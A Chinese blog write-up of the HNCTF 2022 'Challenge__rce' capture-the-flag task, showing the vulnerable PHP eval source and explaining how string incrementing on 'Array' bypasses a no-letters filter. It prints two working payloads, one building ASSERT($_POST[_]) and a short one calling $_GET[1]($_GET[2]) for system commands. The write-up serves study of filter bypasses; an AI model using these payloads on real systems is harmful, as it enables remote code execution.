新手大白话 [HNCTF 2022 Week1]Challenge__rce RCE自增绕过

今天遇到个RCE难题,挺另类的,这里做个复盘。
进入题目直接给出了源码,可以发现就是个无字母RCE,且有长度限制不能使用url取反绕过,到这想到了以前的一个rce自增绕过方式,但是以前的没有长度限制。

点击查看代码
<?php
error_reporting(0);
if (isset($_GET['hint'])) {
    highlight_file(__FILE__);
}
if (isset($_POST['rce'])) {
    $rce = $_POST['rce'];
    if (strlen($rce) <= 120) {
        if (is_string($rce)) {
            if (!preg_match("/[!@#%^&*:'\-<?>\"\/|`a-zA-Z~\\\\]/", $rce)) {
                eval($rce);
            } else {
                echo("Are you hack me?");
            }
        } else {
            echo "I want string!";
        }
    } else {
        echo "too long!";
    }
} 
这里先讲讲自增,php中有个特性,当强制调用数组和字符串时,数组会被强制转换为字符串Array,换个意思空数组拼接一个字符,数组会被强制转换为字符串Array。

而这个字符串就是自增的利用点.

点击查看代码
$__ = $_[0]; // A
$__++ ;  // B
$__++ ;  // C 
知道如何去自增后开始构造我们需要的命令。
点击查看代码

<?php
$_=[].'_';
$_=$_[0]; // A
$___=$_; // $___ = A
$__=$_;  // $__ = A
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;  // $__=S
$___.=$__; // S
$___.=$__; // S  变为了ASS 
$__=$_; //$__又变为A
$__++;$__++;$__++;$__++; // E 
$___.=$__;  // 变为了ASSE
$__=$_; //$__又变为A
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // $__ = R
$___.=$__;  // 变为了ASSER
$__=$_; //$__又变为A
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // $__ = T
$___.=$__; // 变为了ASSERT 命令执行函数成型 开始构造($_POST[_])
 
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;  // _P
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;  // _PO
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;  // _POS
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;  // _POST
 
$_=$$____;  // $_POST
$___($_[_]); // ASSERT($_POST[_]);
好这就是一次完整的构造过程,但是本题中对输入的长度进行限制,如果使用上边的会直接报错,所以借用大佬的wp。
点击查看代码
$_=[].'_';   //空数组拼接一个字符,会将空数组变成字符串Array
$__=$_[1];  //$__是r
$_=$_[0];  //$_这时是A
$_++;  //$_这时是B,每++一次就是下一个字母
$_++;  //C
$_0=$_;  //把c给$_0
$_++;  //D
$_++;  //E
$_++;  //F
$_++;  //G
$_=$_0.++$_.$__;    //$_=CHr
$_='_'.$_(71).$_(69).$_(84);    //$_='_'.CHR(71).CHR(69).CHR(84) -> $_=_GET
$$_[1]($$_[2]);    //$_GET[1]($_GET[2])
echo $_;
#_GET
上边的payload也就是说在url后边要得到参数名为1和2的两个参数,这个参数是可控的,可以构造成为1=system&2=命令,大佬思路清奇啊。
posted @   jockerliu  阅读(85)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 无需6万激活码!GitHub神秘组织3小时极速复刻Manus,手把手教你使用OpenManus搭建本
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通
点击右上角即可分享
微信分享提示